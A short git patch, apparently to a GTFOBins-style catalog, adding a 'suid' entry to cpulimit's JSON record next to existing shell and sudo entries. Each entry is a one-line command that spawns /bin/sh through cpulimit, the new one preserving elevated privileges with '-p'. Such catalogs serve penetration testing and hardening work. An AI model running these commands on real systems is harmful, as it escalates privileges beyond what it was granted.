From 463e7ce77e2113a91a5a0901459c7e3332f6f124 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sat, 27 Feb 2021 13:18:38 +0100 Subject: [PATCH] add suid function to cpulimit --- data/cpulimit.json | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/data/cpulimit.json b/data/cpulimit.json index 343c78d..83283d4 100644 --- a/data/cpulimit.json +++ b/data/cpulimit.json @@ -5,10 +5,15 @@ "code": "cpulimit -l 100 -f /bin/sh" } ], + "suid": [ + { + "code": "./cpulimit -l 100 -f -- /bin/sh -p" + } + ], "sudo": [ { "code": "sudo cpulimit -l 100 -f /bin/sh" } ] } -} \ No newline at end of file +}